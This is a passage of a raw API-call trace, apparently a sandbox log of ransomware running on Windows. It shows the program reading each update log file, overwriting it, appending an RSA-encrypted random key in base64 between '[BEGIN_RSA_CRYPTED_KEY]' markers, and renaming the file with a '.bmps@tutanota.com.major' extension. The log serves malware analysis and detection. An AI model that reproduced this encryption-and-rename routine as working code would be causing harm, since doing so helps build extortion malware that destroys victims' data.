[0153.347] CloseHandle (hObject=0x694) returned 1 [0153.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.347] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6102a0 | out: hHeap=0x570000) returned 1 [0153.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0153.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0153.349] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653120 | out: hHeap=0x570000) returned 1 [0153.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653548 [0153.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.349] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.349] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl", dwFileAttributes=0x80) returned 1 [0153.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652c60 [0153.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6102a0 [0153.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652c60 | out: hHeap=0x570000) returned 1 [0153.350] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.350] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.350] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.350] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.355] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.355] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.355] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.355] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9ruYtbs2iVLD9Zv3fWJv/qxiw14qG6ww93YL+IwNvN/3qMFnE2knOxfKTlqQmRTQ\n8NAu/R0nC1kzXXOD0c/MkSOMVb7ABzuS9FxrHh//k7XjgL9ia9EYbAG54PM2SS/h\nBdGwGTrW+Fz/Tm98i5LBs8P36zFlI5iDkd/G+08CcguaSFefEuckHYffnM+7/Pqu\ng8UVVd5v3dRIpcyeZBf3BrHujpHGklWtlspU8plo+oUjzD9gucevBei3j1B/PXrN\nMheBfc9V6DphQyWPOQmgVfss7QMfL8WxcxxHBZy19nm38EO+M0Afan56DkVFnZ3M\nPxR1DtaH9pfIAs7bP4y1WA==\n", pcchString=0x2e3f9a8) returned 1 [0153.356] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.356] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.356] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.356] CloseHandle (hObject=0x694) returned 1 [0153.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.356] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6102a0 | out: hHeap=0x570000) returned 1 [0153.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653548 | out: hHeap=0x570000) returned 1 [0153.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653678 | out: hHeap=0x570000) returned 1 [0153.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653418 [0153.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.358] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.358] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", dwFileAttributes=0x80) returned 1 [0153.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652cf8 [0153.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60f990 [0153.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652cf8 | out: hHeap=0x570000) returned 1 [0153.358] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.359] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20480) returned 1 [0153.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5000) returned 0x6538b0 [0153.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5000) returned 0x6588b8 [0153.359] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5000, lpOverlapped=0x0) returned 1 [0153.384] SetFilePointer (in: hFile=0x694, lDistanceToMove=-20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.384] WriteFile (in: hFile=0x694, lpBuffer=0x6588b8*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6588b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5000, lpOverlapped=0x0) returned 1 [0153.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6588b8 | out: hHeap=0x570000) returned 1 [0153.384] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5000 [0153.385] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.385] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.385] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.385] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.385] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.385] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.385] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="XwwghC7EXKu+ilD2RBq61xqk5cFgOe6AYlcdLMRJGC+nSjFvC/PYJwsWWLzFpEN8\nde/6kEg8uIzCHOq3f8YU6jIhKX8NuRhNDMLFwkeGrfhmSQh8sSK1BCsZ86wJdY2g\nTe92DiL6zpXxzEnfU4Ykxjcn1d8Z9pbX9ocAxwdr3VdiIDcU8GT/tOhd0Ah3vXTC\nU60QZHq6D5fVTRNnqoTAzkwczSKeZpCPwfa6s2NbmaEyG4IyIQM9CWrPAMlbBb6p\nZeeRY709UjvB4ZmmpId3eqkoPszmdT25lChbRqwKLL6bYSg1dHDMkmXAiTVB20sz\n+P/O6SUt4A/7jNm7s11XSA==\n", pcchString=0x2e3f9a8) returned 1 [0153.385] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.385] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.385] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.386] CloseHandle (hObject=0x694) returned 1 [0153.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.386] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.017.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f990 | out: hHeap=0x570000) returned 1 [0153.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0153.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653418 | out: hHeap=0x570000) returned 1 [0153.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ec0 | out: hHeap=0x570000) returned 1 [0153.389] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652e28 [0153.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.390] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.390] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", dwFileAttributes=0x80) returned 1 [0153.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652c60 [0153.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610470 [0153.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652c60 | out: hHeap=0x570000) returned 1 [0153.390] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.391] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0153.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64b990 [0153.391] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64e9a8 [0153.391] ReadFile (in: hFile=0x694, lpBuffer=0x64b990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64b990*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.474] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.474] WriteFile (in: hFile=0x694, lpBuffer=0x64e9a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64e9a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64b990 | out: hHeap=0x570000) returned 1 [0153.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64e9a8 | out: hHeap=0x570000) returned 1 [0153.475] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0153.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.475] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.475] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.475] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4kGsUWqIm7XzTmAQOgg+r6adkN1qod2lP5YkkVX3KG6bn9X5B+X0tpSmG2VnPv5z\n/Z6O5kx+nWV0w6TnIO4uXA4cfKWxcLa6TEJgYNtKyNN6yo4gyJvKaakHsfXjNznJ\ns14vBVDuLdhmGFUBrDRdWATheFULxnOD4I2xIA/jtiNBHRW7nFGL1f0CEK39x4bN\nojdBmaB4c9ipBRY16BpJO8Ria+fPfGiaSAPeWbLknElOGjhUs2JVk3EY8V1DnfeV\nMVLNuMaccRA4IBWrJqjWuJJZp4hoS/yBFqUZ6wwiaYonoafok41ONny9VmTFR2jW\nNWsCaxzs7f8DSiVqcIqCXA==\n", pcchString=0x2e3f9a8) returned 1 [0153.476] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.476] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.476] CloseHandle (hObject=0x694) returned 1 [0153.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.476] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.016.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610470 | out: hHeap=0x570000) returned 1 [0153.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652e28 | out: hHeap=0x570000) returned 1 [0153.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0153.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0153.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.478] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.478] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", dwFileAttributes=0x80) returned 1 [0153.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652b30 [0153.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610558 [0153.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652b30 | out: hHeap=0x570000) returned 1 [0153.478] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.479] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.479] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.485] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.485] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.485] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.486] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.486] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.486] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.486] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.486] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.486] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4Uq4556el/AHqfGowaCupljaRzJBzaqCJpQwiBxsJFc3rrGlFg/GyAWAxg3vxXFO\noRMcIsZj0dO6AELk+wAZ9YsglMz0jGnmcl1ia25RSkAKdbmPMBRLcjDGwS0vUJtx\nLVIA8SRB+nMeMRo+h7cXx708JnSFIe5h95J/ghlhRxBQOy8KY6BovfA07fEbkDnz\nSiNCkDTdKTAZl/ko6l2dSTgsP3+d1/+5dqxreYaJ89aBNez1bmKjI9VcExxAt3dQ\npe2b35HJnYcpFJt/OIjK3ahCJaHpOlz42nZTmKiNIiKEyKhCXNd7yLd7LU53aFRM\nqvjVhp5yUKZFPaPyT0g0ZA==\n", pcchString=0x2e3f9a8) returned 1 [0153.486] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.486] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.486] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.486] CloseHandle (hObject=0x694) returned 1 [0153.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.487] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610558 | out: hHeap=0x570000) returned 1 [0153.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0153.488] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652d90 | out: hHeap=0x570000) returned 1 [0153.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652b30 [0153.488] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.488] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.488] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", dwFileAttributes=0x80) returned 1 [0153.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653120 [0153.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610640 [0153.489] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653120 | out: hHeap=0x570000) returned 1 [0153.489] CreateFileW 